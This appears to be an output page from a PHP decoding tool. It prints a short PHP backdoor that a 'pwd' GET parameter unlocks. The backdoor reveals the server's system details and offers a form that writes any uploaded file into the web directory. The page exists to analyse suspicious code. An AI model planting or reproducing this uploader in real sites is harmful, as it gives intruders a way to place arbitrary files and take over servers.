Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if(isset($_GET['pwd'])) { echo php_uname(); echo '<form action="" method="post" e..
Decoded Output download
Linux localhost 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>
Did this file decode correctly?
Original Code
<?php
if(isset($_GET['pwd'])) {
echo php_uname();
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if ($_POST['_upl'] == "Upload") {
if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo 'Upload ok :d !!!';
} else {
echo 'Upload Fail !!!';
}
}
}
Function Calls
php_uname | 1 |
Stats
MD5 | 4b6ebb7f5b9be81bdba2b7be00255670 |
Eval Count | 0 |
Decode Time | 84 ms |